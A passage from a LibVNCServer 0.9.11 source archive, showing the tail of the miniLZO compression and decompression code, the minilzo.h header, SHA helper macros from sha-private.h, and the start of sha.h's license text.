UA_SET1(op, 0); op++; } *op++ = LZO_BYTE(m_len); } *op++ = LZO_BYTE(m_off << 2); *op++ = LZO_BYTE(m_off >> 6); } else { m_off -= 0x4000; if (m_len <= M4_MAX_LEN) *op++ = LZO_BYTE(M4_MARKER | ((m_off >> 11) & 8) | (m_len - 2)); else { m_len -= M4_MAX_LEN; *op++ = LZO_BYTE(M4_MARKER | ((m_off >> 11) & 8)); while __lzo_unlikely(m_len > 255) { m_len -= 255; UA_SET1(op, 0); op++; } *op++ = LZO_BYTE(m_len); } *op++ = LZO_BYTE(m_off << 2); *op++ = LZO_BYTE(m_off >> 6); } goto next; } *out_len = pd(op, out); return pd(in_end,ii-ti); } LZO_PUBLIC(int) DO_COMPRESS ( const lzo_bytep in , lzo_uint in_len, lzo_bytep out, lzo_uintp out_len, lzo_voidp wrkmem ) { const lzo_bytep ip = in; lzo_bytep op = out; lzo_uint l = in_len; lzo_uint t = 0; while (l > 20) { lzo_uint ll = l; lzo_uintptr_t ll_end; #if 0 || (LZO_DETERMINISTIC) ll = LZO_MIN(ll, 49152); #endif ll_end = (lzo_uintptr_t)ip + ll; if ((ll_end + ((t + ll) >> 5)) <= ll_end || (const lzo_bytep)(ll_end + ((t + ll) >> 5)) <= ip + ll) break; #if (LZO_DETERMINISTIC) lzo_memset(wrkmem, 0, ((lzo_uint)1 << D_BITS) * sizeof(lzo_dict_t)); #endif t = do_compress(ip,ll,op,out_len,t,wrkmem); ip += ll; op += *out_len; l -= ll; } t += l; if (t > 0) { const lzo_bytep ii = in + in_len - t; if (op == out && t <= 238) *op++ = LZO_BYTE(17 + t); else if (t <= 3) op[-2] = LZO_BYTE(op[-2] | t); else if (t <= 18) *op++ = LZO_BYTE(t - 3); else { lzo_uint tt = t - 18; *op++ = 0; while (tt > 255) { tt -= 255; UA_SET1(op, 0); op++; } assert(tt > 0); *op++ = LZO_BYTE(tt); } UA_COPYN(op, ii, t); op += t; } *op++ = M4_MARKER | 1; *op++ = 0; *op++ = 0; *out_len = pd(op, out); return LZO_E_OK; } #endif #undef do_compress #undef DO_COMPRESS #undef LZO_HASH #undef LZO_TEST_OVERRUN #undef DO_DECOMPRESS #define DO_DECOMPRESS lzo1x_decompress #if !defined(MINILZO_CFG_SKIP_LZO1X_DECOMPRESS) #if defined(LZO_TEST_OVERRUN) # if !defined(LZO_TEST_OVERRUN_INPUT) # define LZO_TEST_OVERRUN_INPUT 2 # endif # if !defined(LZO_TEST_OVERRUN_OUTPUT) # define LZO_TEST_OVERRUN_OUTPUT 2 # endif # if !defined(LZO_TEST_OVERRUN_LOOKBEHIND) # define LZO_TEST_OVERRUN_LOOKBEHIND 1 # endif #endif #undef TEST_IP #undef TEST_OP #undef TEST_IP_AND_TEST_OP #undef TEST_LB #undef TEST_LBO #undef NEED_IP #undef NEED_OP #undef TEST_IV #undef TEST_OV #undef HAVE_TEST_IP #undef HAVE_TEST_OP #undef HAVE_NEED_IP #undef HAVE_NEED_OP #undef HAVE_ANY_IP #undef HAVE_ANY_OP #if defined(LZO_TEST_OVERRUN_INPUT) # if (LZO_TEST_OVERRUN_INPUT >= 1) # define TEST_IP (ip < ip_end) # endif # if (LZO_TEST_OVERRUN_INPUT >= 2) # define NEED_IP(x) \ if ((lzo_uint)(ip_end - ip) < (lzo_uint)(x)) goto input_overrun # define TEST_IV(x) if ((x) > (lzo_uint)0 - (511)) goto input_overrun # endif #endif #if defined(LZO_TEST_OVERRUN_OUTPUT) # if (LZO_TEST_OVERRUN_OUTPUT >= 1) # define TEST_OP (op <= op_end) # endif # if (LZO_TEST_OVERRUN_OUTPUT >= 2) # undef TEST_OP # define NEED_OP(x) \ if ((lzo_uint)(op_end - op) < (lzo_uint)(x)) goto output_overrun # define TEST_OV(x) if ((x) > (lzo_uint)0 - (511)) goto output_overrun # endif #endif #if defined(LZO_TEST_OVERRUN_LOOKBEHIND) # define TEST_LB(m_pos) if (PTR_LT(m_pos,out) || PTR_GE(m_pos,op)) goto lookbehind_overrun # define TEST_LBO(m_pos,o) if (PTR_LT(m_pos,out) || PTR_GE(m_pos,op-(o))) goto lookbehind_overrun #else # define TEST_LB(m_pos) ((void) 0) # define TEST_LBO(m_pos,o) ((void) 0) #endif #if !defined(LZO_EOF_CODE) && !defined(TEST_IP) # define TEST_IP (ip < ip_end) #endif #if defined(TEST_IP) # define HAVE_TEST_IP 1 #else # define TEST_IP 1 #endif #if defined(TEST_OP) # define HAVE_TEST_OP 1 #else # define TEST_OP 1 #endif #if defined(HAVE_TEST_IP) && defined(HAVE_TEST_OP) # define TEST_IP_AND_TEST_OP (TEST_IP && TEST_OP) #elif defined(HAVE_TEST_IP) # define TEST_IP_AND_TEST_OP TEST_IP #elif defined(HAVE_TEST_OP) # define TEST_IP_AND_TEST_OP TEST_OP #else # define TEST_IP_AND_TEST_OP 1 #endif #if defined(NEED_IP) # define HAVE_NEED_IP 1 #else # define NEED_IP(x) ((void) 0) # define TEST_IV(x) ((void) 0) #endif #if defined(NEED_OP) # define HAVE_NEED_OP 1 #else # define NEED_OP(x) ((void) 0) # define TEST_OV(x) ((void) 0) #endif #if defined(HAVE_TEST_IP) || defined(HAVE_NEED_IP) # define HAVE_ANY_IP 1 #endif #if defined(HAVE_TEST_OP) || defined(HAVE_NEED_OP) # define HAVE_ANY_OP 1 #endif #if defined(DO_DECOMPRESS) LZO_PUBLIC(int) DO_DECOMPRESS ( const lzo_bytep in , lzo_uint in_len, lzo_bytep out, lzo_uintp out_len, lzo_voidp wrkmem ) #endif { lzo_bytep op; const lzo_bytep ip; lzo_uint t; #if defined(COPY_DICT) lzo_uint m_off; const lzo_bytep dict_end; #else const lzo_bytep m_pos; #endif const lzo_bytep const ip_end = in + in_len; #if defined(HAVE_ANY_OP) lzo_bytep const op_end = out + *out_len; #endif #if defined(LZO1Z) lzo_uint last_m_off = 0; #endif LZO_UNUSED(wrkmem); #if defined(COPY_DICT) if (dict) { if (dict_len > M4_MAX_OFFSET) { dict += dict_len - M4_MAX_OFFSET; dict_len = M4_MAX_OFFSET; } dict_end = dict + dict_len; } else { dict_len = 0; dict_end = NULL; } #endif *out_len = 0; op = out; ip = in; NEED_IP(1); if (*ip > 17) { t = *ip++ - 17; if (t < 4) goto match_next; assert(t > 0); NEED_OP(t); NEED_IP(t+3); do *op++ = *ip++; while (--t > 0); goto first_literal_run; } for (;;) { NEED_IP(3); t = *ip++; if (t >= 16) goto match; if (t == 0) { while (*ip == 0) { t += 255; ip++; TEST_IV(t); NEED_IP(1); } t += 15 + *ip++; } assert(t > 0); NEED_OP(t+3); NEED_IP(t+6); #if (LZO_OPT_UNALIGNED64) && (LZO_OPT_UNALIGNED32) t += 3; if (t >= 8) do { UA_COPY8(op,ip); op += 8; ip += 8; t -= 8; } while (t >= 8); if (t >= 4) { UA_COPY4(op,ip); op += 4; ip += 4; t -= 4; } if (t > 0) { *op++ = *ip++; if (t > 1) { *op++ = *ip++; if (t > 2) { *op++ = *ip++; } } } #elif (LZO_OPT_UNALIGNED32) || (LZO_ALIGNED_OK_4) #if !(LZO_OPT_UNALIGNED32) if (PTR_ALIGNED2_4(op,ip)) { #endif UA_COPY4(op,ip); op += 4; ip += 4; if (--t > 0) { if (t >= 4) { do { UA_COPY4(op,ip); op += 4; ip += 4; t -= 4; } while (t >= 4); if (t > 0) do *op++ = *ip++; while (--t > 0); } else do *op++ = *ip++; while (--t > 0); } #if !(LZO_OPT_UNALIGNED32) } else #endif #endif #if !(LZO_OPT_UNALIGNED32) { *op++ = *ip++; *op++ = *ip++; *op++ = *ip++; do *op++ = *ip++; while (--t > 0); } #endif first_literal_run: t = *ip++; if (t >= 16) goto match; #if defined(COPY_DICT) #if defined(LZO1Z) m_off = (1 + M2_MAX_OFFSET) + (t << 6) + (*ip++ >> 2); last_m_off = m_off; #else m_off = (1 + M2_MAX_OFFSET) + (t >> 2) + (*ip++ << 2); #endif NEED_OP(3); t = 3; COPY_DICT(t,m_off) #else #if defined(LZO1Z) t = (1 + M2_MAX_OFFSET) + (t << 6) + (*ip++ >> 2); m_pos = op - t; last_m_off = t; #else m_pos = op - (1 + M2_MAX_OFFSET); m_pos -= t >> 2; m_pos -= *ip++ << 2; #endif TEST_LB(m_pos); NEED_OP(3); *op++ = *m_pos++; *op++ = *m_pos++; *op++ = *m_pos; #endif goto match_done; for (;;) { match: if (t >= 64) { #if defined(COPY_DICT) #if defined(LZO1X) m_off = 1 + ((t >> 2) & 7) + (*ip++ << 3); t = (t >> 5) - 1; #elif defined(LZO1Y) m_off = 1 + ((t >> 2) & 3) + (*ip++ << 2); t = (t >> 4) - 3; #elif defined(LZO1Z) m_off = t & 0x1f; if (m_off >= 0x1c) m_off = last_m_off; else { m_off = 1 + (m_off << 6) + (*ip++ >> 2); last_m_off = m_off; } t = (t >> 5) - 1; #endif #else #if defined(LZO1X) m_pos = op - 1; m_pos -= (t >> 2) & 7; m_pos -= *ip++ << 3; t = (t >> 5) - 1; #elif defined(LZO1Y) m_pos = op - 1; m_pos -= (t >> 2) & 3; m_pos -= *ip++ << 2; t = (t >> 4) - 3; #elif defined(LZO1Z) { lzo_uint off = t & 0x1f; m_pos = op; if (off >= 0x1c) { assert(last_m_off > 0); m_pos -= last_m_off; } else { off = 1 + (off << 6) + (*ip++ >> 2); m_pos -= off; last_m_off = off; } } t = (t >> 5) - 1; #endif TEST_LB(m_pos); assert(t > 0); NEED_OP(t+3-1); goto copy_match; #endif } else if (t >= 32) { t &= 31; if (t == 0) { while (*ip == 0) { t += 255; ip++; TEST_OV(t); NEED_IP(1); } t += 31 + *ip++; NEED_IP(2); } #if defined(COPY_DICT) #if defined(LZO1Z) m_off = 1 + (ip[0] << 6) + (ip[1] >> 2); last_m_off = m_off; #else m_off = 1 + (ip[0] >> 2) + (ip[1] << 6); #endif #else #if defined(LZO1Z) { lzo_uint off = 1 + (ip[0] << 6) + (ip[1] >> 2); m_pos = op - off; last_m_off = off; } #elif (LZO_OPT_UNALIGNED16) && (LZO_ABI_LITTLE_ENDIAN) m_pos = op - 1; m_pos -= UA_GET_LE16(ip) >> 2; #else m_pos = op - 1; m_pos -= (ip[0] >> 2) + (ip[1] << 6); #endif #endif ip += 2; } else if (t >= 16) { #if defined(COPY_DICT) m_off = (t & 8) << 11; #else m_pos = op; m_pos -= (t & 8) << 11; #endif t &= 7; if (t == 0) { while (*ip == 0) { t += 255; ip++; TEST_OV(t); NEED_IP(1); } t += 7 + *ip++; NEED_IP(2); } #if defined(COPY_DICT) #if defined(LZO1Z) m_off += (ip[0] << 6) + (ip[1] >> 2); #else m_off += (ip[0] >> 2) + (ip[1] << 6); #endif ip += 2; if (m_off == 0) goto eof_found; m_off += 0x4000; #if defined(LZO1Z) last_m_off = m_off; #endif #else #if defined(LZO1Z) m_pos -= (ip[0] << 6) + (ip[1] >> 2); #elif (LZO_OPT_UNALIGNED16) && (LZO_ABI_LITTLE_ENDIAN) m_pos -= UA_GET_LE16(ip) >> 2; #else m_pos -= (ip[0] >> 2) + (ip[1] << 6); #endif ip += 2; if (m_pos == op) goto eof_found; m_pos -= 0x4000; #if defined(LZO1Z) last_m_off = pd((const lzo_bytep)op, m_pos); #endif #endif } else { #if defined(COPY_DICT) #if defined(LZO1Z) m_off = 1 + (t << 6) + (*ip++ >> 2); last_m_off = m_off; #else m_off = 1 + (t >> 2) + (*ip++ << 2); #endif NEED_OP(2); t = 2; COPY_DICT(t,m_off) #else #if defined(LZO1Z) t = 1 + (t << 6) + (*ip++ >> 2); m_pos = op - t; last_m_off = t; #else m_pos = op - 1; m_pos -= t >> 2; m_pos -= *ip++ << 2; #endif TEST_LB(m_pos); NEED_OP(2); *op++ = *m_pos++; *op++ = *m_pos; #endif goto match_done; } #if defined(COPY_DICT) NEED_OP(t+3-1); t += 3-1; COPY_DICT(t,m_off) #else TEST_LB(m_pos); assert(t > 0); NEED_OP(t+3-1); #if (LZO_OPT_UNALIGNED64) && (LZO_OPT_UNALIGNED32) if (op - m_pos >= 8) { t += (3 - 1); if (t >= 8) do { UA_COPY8(op,m_pos); op += 8; m_pos += 8; t -= 8; } while (t >= 8); if (t >= 4) { UA_COPY4(op,m_pos); op += 4; m_pos += 4; t -= 4; } if (t > 0) { *op++ = m_pos[0]; if (t > 1) { *op++ = m_pos[1]; if (t > 2) { *op++ = m_pos[2]; } } } } else #elif (LZO_OPT_UNALIGNED32) || (LZO_ALIGNED_OK_4) #if !(LZO_OPT_UNALIGNED32) if (t >= 2 * 4 - (3 - 1) && PTR_ALIGNED2_4(op,m_pos)) { assert((op - m_pos) >= 4); #else if (t >= 2 * 4 - (3 - 1) && (op - m_pos) >= 4) { #endif UA_COPY4(op,m_pos); op += 4; m_pos += 4; t -= 4 - (3 - 1); do { UA_COPY4(op,m_pos); op += 4; m_pos += 4; t -= 4; } while (t >= 4); if (t > 0) do *op++ = *m_pos++; while (--t > 0); } else #endif { copy_match: *op++ = *m_pos++; *op++ = *m_pos++; do *op++ = *m_pos++; while (--t > 0); } #endif match_done: #if defined(LZO1Z) t = ip[-1] & 3; #else t = ip[-2] & 3; #endif if (t == 0) break; match_next: assert(t > 0); assert(t < 4); NEED_OP(t); NEED_IP(t+3); #if 0 do *op++ = *ip++; while (--t > 0); #else *op++ = *ip++; if (t > 1) { *op++ = *ip++; if (t > 2) { *op++ = *ip++; } } #endif t = *ip++; } } eof_found: *out_len = pd(op, out); return (ip == ip_end ? LZO_E_OK : (ip < ip_end ? LZO_E_INPUT_NOT_CONSUMED : LZO_E_INPUT_OVERRUN)); #if defined(HAVE_NEED_IP) input_overrun: *out_len = pd(op, out); return LZO_E_INPUT_OVERRUN; #endif #if defined(HAVE_NEED_OP) output_overrun: *out_len = pd(op, out); return LZO_E_OUTPUT_OVERRUN; #endif #if defined(LZO_TEST_OVERRUN_LOOKBEHIND) lookbehind_overrun: *out_len = pd(op, out); return LZO_E_LOOKBEHIND_OVERRUN; #endif } #endif #define LZO_TEST_OVERRUN 1 #undef DO_DECOMPRESS #define DO_DECOMPRESS lzo1x_decompress_safe #if !defined(MINILZO_CFG_SKIP_LZO1X_DECOMPRESS_SAFE) #if defined(LZO_TEST_OVERRUN) # if !defined(LZO_TEST_OVERRUN_INPUT) # define LZO_TEST_OVERRUN_INPUT 2 # endif # if !defined(LZO_TEST_OVERRUN_OUTPUT) # define LZO_TEST_OVERRUN_OUTPUT 2 # endif # if !defined(LZO_TEST_OVERRUN_LOOKBEHIND) # define LZO_TEST_OVERRUN_LOOKBEHIND 1 # endif #endif #undef TEST_IP #undef TEST_OP #undef TEST_IP_AND_TEST_OP #undef TEST_LB #undef TEST_LBO #undef NEED_IP #undef NEED_OP #undef TEST_IV #undef TEST_OV #undef HAVE_TEST_IP #undef HAVE_TEST_OP #undef HAVE_NEED_IP #undef HAVE_NEED_OP #undef HAVE_ANY_IP #undef HAVE_ANY_OP #if defined(LZO_TEST_OVERRUN_INPUT) # if (LZO_TEST_OVERRUN_INPUT >= 1) # define TEST_IP (ip < ip_end) # endif # if (LZO_TEST_OVERRUN_INPUT >= 2) # define NEED_IP(x) \ if ((lzo_uint)(ip_end - ip) < (lzo_uint)(x)) goto input_overrun # define TEST_IV(x) if ((x) > (lzo_uint)0 - (511)) goto input_overrun # endif #endif #if defined(LZO_TEST_OVERRUN_OUTPUT) # if (LZO_TEST_OVERRUN_OUTPUT >= 1) # define TEST_OP (op <= op_end) # endif # if (LZO_TEST_OVERRUN_OUTPUT >= 2) # undef TEST_OP # define NEED_OP(x) \ if ((lzo_uint)(op_end - op) < (lzo_uint)(x)) goto output_overrun # define TEST_OV(x) if ((x) > (lzo_uint)0 - (511)) goto output_overrun # endif #endif #if defined(LZO_TEST_OVERRUN_LOOKBEHIND) # define TEST_LB(m_pos) if (PTR_LT(m_pos,out) || PTR_GE(m_pos,op)) goto lookbehind_overrun # define TEST_LBO(m_pos,o) if (PTR_LT(m_pos,out) || PTR_GE(m_pos,op-(o))) goto lookbehind_overrun #else # define TEST_LB(m_pos) ((void) 0) # define TEST_LBO(m_pos,o) ((void) 0) #endif #if !defined(LZO_EOF_CODE) && !defined(TEST_IP) # define TEST_IP (ip < ip_end) #endif #if defined(TEST_IP) # define HAVE_TEST_IP 1 #else # define TEST_IP 1 #endif #if defined(TEST_OP) # define HAVE_TEST_OP 1 #else # define TEST_OP 1 #endif #if defined(HAVE_TEST_IP) && defined(HAVE_TEST_OP) # define TEST_IP_AND_TEST_OP (TEST_IP && TEST_OP) #elif defined(HAVE_TEST_IP) # define TEST_IP_AND_TEST_OP TEST_IP #elif defined(HAVE_TEST_OP) # define TEST_IP_AND_TEST_OP TEST_OP #else # define TEST_IP_AND_TEST_OP 1 #endif #if defined(NEED_IP) # define HAVE_NEED_IP 1 #else # define NEED_IP(x) ((void) 0) # define TEST_IV(x) ((void) 0) #endif #if defined(NEED_OP) # define HAVE_NEED_OP 1 #else # define NEED_OP(x) ((void) 0) # define TEST_OV(x) ((void) 0) #endif #if defined(HAVE_TEST_IP) || defined(HAVE_NEED_IP) # define HAVE_ANY_IP 1 #endif #if defined(HAVE_TEST_OP) || defined(HAVE_NEED_OP) # define HAVE_ANY_OP 1 #endif #if defined(DO_DECOMPRESS) LZO_PUBLIC(int) DO_DECOMPRESS ( const lzo_bytep in , lzo_uint in_len, lzo_bytep out, lzo_uintp out_len, lzo_voidp wrkmem ) #endif { lzo_bytep op; const lzo_bytep ip; lzo_uint t; #if defined(COPY_DICT) lzo_uint m_off; const lzo_bytep dict_end; #else const lzo_bytep m_pos; #endif const lzo_bytep const ip_end = in + in_len; #if defined(HAVE_ANY_OP) lzo_bytep const op_end = out + *out_len; #endif #if defined(LZO1Z) lzo_uint last_m_off = 0; #endif LZO_UNUSED(wrkmem); #if defined(COPY_DICT) if (dict) { if (dict_len > M4_MAX_OFFSET) { dict += dict_len - M4_MAX_OFFSET; dict_len = M4_MAX_OFFSET; } dict_end = dict + dict_len; } else { dict_len = 0; dict_end = NULL; } #endif *out_len = 0; op = out; ip = in; NEED_IP(1); if (*ip > 17) { t = *ip++ - 17; if (t < 4) goto match_next; assert(t > 0); NEED_OP(t); NEED_IP(t+3); do *op++ = *ip++; while (--t > 0); goto first_literal_run; } for (;;) { NEED_IP(3); t = *ip++; if (t >= 16) goto match; if (t == 0) { while (*ip == 0) { t += 255; ip++; TEST_IV(t); NEED_IP(1); } t += 15 + *ip++; } assert(t > 0); NEED_OP(t+3); NEED_IP(t+6); #if (LZO_OPT_UNALIGNED64) && (LZO_OPT_UNALIGNED32) t += 3; if (t >= 8) do { UA_COPY8(op,ip); op += 8; ip += 8; t -= 8; } while (t >= 8); if (t >= 4) { UA_COPY4(op,ip); op += 4; ip += 4; t -= 4; } if (t > 0) { *op++ = *ip++; if (t > 1) { *op++ = *ip++; if (t > 2) { *op++ = *ip++; } } } #elif (LZO_OPT_UNALIGNED32) || (LZO_ALIGNED_OK_4) #if !(LZO_OPT_UNALIGNED32) if (PTR_ALIGNED2_4(op,ip)) { #endif UA_COPY4(op,ip); op += 4; ip += 4; if (--t > 0) { if (t >= 4) { do { UA_COPY4(op,ip); op += 4; ip += 4; t -= 4; } while (t >= 4); if (t > 0) do *op++ = *ip++; while (--t > 0); } else do *op++ = *ip++; while (--t > 0); } #if !(LZO_OPT_UNALIGNED32) } else #endif #endif #if !(LZO_OPT_UNALIGNED32) { *op++ = *ip++; *op++ = *ip++; *op++ = *ip++; do *op++ = *ip++; while (--t > 0); } #endif first_literal_run: t = *ip++; if (t >= 16) goto match; #if defined(COPY_DICT) #if defined(LZO1Z) m_off = (1 + M2_MAX_OFFSET) + (t << 6) + (*ip++ >> 2); last_m_off = m_off; #else m_off = (1 + M2_MAX_OFFSET) + (t >> 2) + (*ip++ << 2); #endif NEED_OP(3); t = 3; COPY_DICT(t,m_off) #else #if defined(LZO1Z) t = (1 + M2_MAX_OFFSET) + (t << 6) + (*ip++ >> 2); m_pos = op - t; last_m_off = t; #else m_pos = op - (1 + M2_MAX_OFFSET); m_pos -= t >> 2; m_pos -= *ip++ << 2; #endif TEST_LB(m_pos); NEED_OP(3); *op++ = *m_pos++; *op++ = *m_pos++; *op++ = *m_pos; #endif goto match_done; for (;;) { match: if (t >= 64) { #if defined(COPY_DICT) #if defined(LZO1X) m_off = 1 + ((t >> 2) & 7) + (*ip++ << 3); t = (t >> 5) - 1; #elif defined(LZO1Y) m_off = 1 + ((t >> 2) & 3) + (*ip++ << 2); t = (t >> 4) - 3; #elif defined(LZO1Z) m_off = t & 0x1f; if (m_off >= 0x1c) m_off = last_m_off; else { m_off = 1 + (m_off << 6) + (*ip++ >> 2); last_m_off = m_off; } t = (t >> 5) - 1; #endif #else #if defined(LZO1X) m_pos = op - 1; m_pos -= (t >> 2) & 7; m_pos -= *ip++ << 3; t = (t >> 5) - 1; #elif defined(LZO1Y) m_pos = op - 1; m_pos -= (t >> 2) & 3; m_pos -= *ip++ << 2; t = (t >> 4) - 3; #elif defined(LZO1Z) { lzo_uint off = t & 0x1f; m_pos = op; if (off >= 0x1c) { assert(last_m_off > 0); m_pos -= last_m_off; } else { off = 1 + (off << 6) + (*ip++ >> 2); m_pos -= off; last_m_off = off; } } t = (t >> 5) - 1; #endif TEST_LB(m_pos); assert(t > 0); NEED_OP(t+3-1); goto copy_match; #endif } else if (t >= 32) { t &= 31; if (t == 0) { while (*ip == 0) { t += 255; ip++; TEST_OV(t); NEED_IP(1); } t += 31 + *ip++; NEED_IP(2); } #if defined(COPY_DICT) #if defined(LZO1Z) m_off = 1 + (ip[0] << 6) + (ip[1] >> 2); last_m_off = m_off; #else m_off = 1 + (ip[0] >> 2) + (ip[1] << 6); #endif #else #if defined(LZO1Z) { lzo_uint off = 1 + (ip[0] << 6) + (ip[1] >> 2); m_pos = op - off; last_m_off = off; } #elif (LZO_OPT_UNALIGNED16) && (LZO_ABI_LITTLE_ENDIAN) m_pos = op - 1; m_pos -= UA_GET_LE16(ip) >> 2; #else m_pos = op - 1; m_pos -= (ip[0] >> 2) + (ip[1] << 6); #endif #endif ip += 2; } else if (t >= 16) { #if defined(COPY_DICT) m_off = (t & 8) << 11; #else m_pos = op; m_pos -= (t & 8) << 11; #endif t &= 7; if (t == 0) { while (*ip == 0) { t += 255; ip++; TEST_OV(t); NEED_IP(1); } t += 7 + *ip++; NEED_IP(2); } #if defined(COPY_DICT) #if defined(LZO1Z) m_off += (ip[0] << 6) + (ip[1] >> 2); #else m_off += (ip[0] >> 2) + (ip[1] << 6); #endif ip += 2; if (m_off == 0) goto eof_found; m_off += 0x4000; #if defined(LZO1Z) last_m_off = m_off; #endif #else #if defined(LZO1Z) m_pos -= (ip[0] << 6) + (ip[1] >> 2); #elif (LZO_OPT_UNALIGNED16) && (LZO_ABI_LITTLE_ENDIAN) m_pos -= UA_GET_LE16(ip) >> 2; #else m_pos -= (ip[0] >> 2) + (ip[1] << 6); #endif ip += 2; if (m_pos == op) goto eof_found; m_pos -= 0x4000; #if defined(LZO1Z) last_m_off = pd((const lzo_bytep)op, m_pos); #endif #endif } else { #if defined(COPY_DICT) #if defined(LZO1Z) m_off = 1 + (t << 6) + (*ip++ >> 2); last_m_off = m_off; #else m_off = 1 + (t >> 2) + (*ip++ << 2); #endif NEED_OP(2); t = 2; COPY_DICT(t,m_off) #else #if defined(LZO1Z) t = 1 + (t << 6) + (*ip++ >> 2); m_pos = op - t; last_m_off = t; #else m_pos = op - 1; m_pos -= t >> 2; m_pos -= *ip++ << 2; #endif TEST_LB(m_pos); NEED_OP(2); *op++ = *m_pos++; *op++ = *m_pos; #endif goto match_done; } #if defined(COPY_DICT) NEED_OP(t+3-1); t += 3-1; COPY_DICT(t,m_off) #else TEST_LB(m_pos); assert(t > 0); NEED_OP(t+3-1); #if (LZO_OPT_UNALIGNED64) && (LZO_OPT_UNALIGNED32) if (op - m_pos >= 8) { t += (3 - 1); if (t >= 8) do { UA_COPY8(op,m_pos); op += 8; m_pos += 8; t -= 8; } while (t >= 8); if (t >= 4) { UA_COPY4(op,m_pos); op += 4; m_pos += 4; t -= 4; } if (t > 0) { *op++ = m_pos[0]; if (t > 1) { *op++ = m_pos[1]; if (t > 2) { *op++ = m_pos[2]; } } } } else #elif (LZO_OPT_UNALIGNED32) || (LZO_ALIGNED_OK_4) #if !(LZO_OPT_UNALIGNED32) if (t >= 2 * 4 - (3 - 1) && PTR_ALIGNED2_4(op,m_pos)) { assert((op - m_pos) >= 4); #else if (t >= 2 * 4 - (3 - 1) && (op - m_pos) >= 4) { #endif UA_COPY4(op,m_pos); op += 4; m_pos += 4; t -= 4 - (3 - 1); do { UA_COPY4(op,m_pos); op += 4; m_pos += 4; t -= 4; } while (t >= 4); if (t > 0) do *op++ = *m_pos++; while (--t > 0); } else #endif { copy_match: *op++ = *m_pos++; *op++ = *m_pos++; do *op++ = *m_pos++; while (--t > 0); } #endif match_done: #if defined(LZO1Z) t = ip[-1] & 3; #else t = ip[-2] & 3; #endif if (t == 0) break; match_next: assert(t > 0); assert(t < 4); NEED_OP(t); NEED_IP(t+3); #if 0 do *op++ = *ip++; while (--t > 0); #else *op++ = *ip++; if (t > 1) { *op++ = *ip++; if (t > 2) { *op++ = *ip++; } } #endif t = *ip++; } } eof_found: *out_len = pd(op, out); return (ip == ip_end ? LZO_E_OK : (ip < ip_end ? LZO_E_INPUT_NOT_CONSUMED : LZO_E_INPUT_OVERRUN)); #if defined(HAVE_NEED_IP) input_overrun: *out_len = pd(op, out); return LZO_E_INPUT_OVERRUN; #endif #if defined(HAVE_NEED_OP) output_overrun: *out_len = pd(op, out); return LZO_E_OUTPUT_OVERRUN; #endif #if defined(LZO_TEST_OVERRUN_LOOKBEHIND) lookbehind_overrun: *out_len = pd(op, out); return LZO_E_LOOKBEHIND_OVERRUN; #endif } #endif /***** End of minilzo.c *****/ libvncserver-LibVNCServer-0.9.11/common/minilzo.h000066400000000000000000000053361303145525000216770ustar00rootroot00000000000000/* minilzo.h -- mini subset of the LZO real-time data compression library This file is part of the LZO real-time data compression library. Copyright (C) 1996-2014 Markus Franz Xaver Johannes Oberhumer All Rights Reserved. The LZO library is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. The LZO library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with the LZO library; see the file COPYING. If not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Markus F.X.J. Oberhumer http://www.oberhumer.com/opensource/lzo/ */ /* * NOTE: * the full LZO package can be found at * http://www.oberhumer.com/opensource/lzo/ */ #ifndef __MINILZO_H #define __MINILZO_H 1 #define MINILZO_VERSION 0x2070 #ifdef __LZOCONF_H # error "you cannot use both LZO and miniLZO" #endif #undef LZO_HAVE_CONFIG_H #include "lzoconf.h" #if !defined(LZO_VERSION) || (LZO_VERSION != MINILZO_VERSION) # error "version mismatch in header files" #endif #ifdef __cplusplus extern "C" { #endif /*********************************************************************** // ************************************************************************/ /* Memory required for the wrkmem parameter. * When the required size is 0, you can also pass a NULL pointer. */ #define LZO1X_MEM_COMPRESS LZO1X_1_MEM_COMPRESS #define LZO1X_1_MEM_COMPRESS ((lzo_uint32_t) (16384L * lzo_sizeof_dict_t)) #define LZO1X_MEM_DECOMPRESS (0) /* compression */ LZO_EXTERN(int) lzo1x_1_compress ( const lzo_bytep src, lzo_uint src_len, lzo_bytep dst, lzo_uintp dst_len, lzo_voidp wrkmem ); /* decompression */ LZO_EXTERN(int) lzo1x_decompress ( const lzo_bytep src, lzo_uint src_len, lzo_bytep dst, lzo_uintp dst_len, lzo_voidp wrkmem /* NOT USED */ ); /* safe decompression with overrun testing */ LZO_EXTERN(int) lzo1x_decompress_safe ( const lzo_bytep src, lzo_uint src_len, lzo_bytep dst, lzo_uintp dst_len, lzo_voidp wrkmem /* NOT USED */ ); #ifdef __cplusplus } /* extern "C" */ #endif #endif /* already included */ libvncserver-LibVNCServer-0.9.11/common/sha-private.h000066400000000000000000000015721303145525000224370ustar00rootroot00000000000000/************************ sha-private.h ************************/ /***************** See RFC 6234 for details. *******************/ #ifndef _SHA_PRIVATE__H #define _SHA_PRIVATE__H /* * These definitions are defined in FIPS 180-3, section 4.1. * Ch() and Maj() are defined identically in sections 4.1.1, * 4.1.2, and 4.1.3. * * The definitions used in FIPS 180-3 are as follows: */ #ifndef USE_MODIFIED_MACROS #define SHA_Ch(x,y,z) (((x) & (y)) ^ ((~(x)) & (z))) #define SHA_Maj(x,y,z) (((x) & (y)) ^ ((x) & (z)) ^ ((y) & (z))) #else /* USE_MODIFIED_MACROS */ /* * The following definitions are equivalent and potentially faster. */ #define SHA_Ch(x, y, z) (((x) & ((y) ^ (z))) ^ (z)) #define SHA_Maj(x, y, z) (((x) & ((y) | (z))) | ((y) & (z))) #endif /* USE_MODIFIED_MACROS */ #define SHA_Parity(x, y, z) ((x) ^ (y) ^ (z)) #endif /* _SHA_PRIVATE__H */ libvncserver-LibVNCServer-0.9.11/common/sha.h000066400000000000000000000333001303145525000207610ustar00rootroot00000000000000/**************************** sha.h ****************************/ /***************** See RFC 6234 for details. *******************/ /* Copyright (c) 2011 IETF Trust and the persons identified as authors of the code. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - Neither the name of Internet Society, IETF or IETF Trust, nor the names of specific contributors, may be used to endorse or promote products derived from this software without specific prior written 